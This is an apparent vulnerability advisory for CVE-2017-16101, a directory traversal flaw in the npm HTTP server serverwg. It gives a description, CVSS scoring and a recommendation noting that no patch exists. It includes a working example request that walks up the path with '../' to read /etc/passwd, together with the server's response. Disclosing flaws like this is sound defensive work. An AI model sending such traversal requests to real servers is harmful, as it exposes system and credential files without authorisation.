CVE-2017-16101
UNKNOWN
Published 2018-06-07T02:00:00Z
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Description
serverwg is a simple http server. serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.
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Advisory Details
`serverwg` is a simple http server.
`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.
**Example request:**
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```
and response:
```
HTTP/1.1 200 OK
Date: Wed, 17 May 2017 22:52:08 GMT
Connection: keep-alive
{contents of /etc/passwd}
```
## Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Affected Packages
npm
serverwg
ECOSYSTEM:
≥0.0.0
CVSS Scoring
CVSS Score
7.5
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
References
Advisory provided by GitHub Security Advisory Database. Published: September 1, 2020, Modified: September 7, 2023
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Published: 2018-06-07T02:00:00Z
Last Modified: 2024-09-17T01:41:09.946Z
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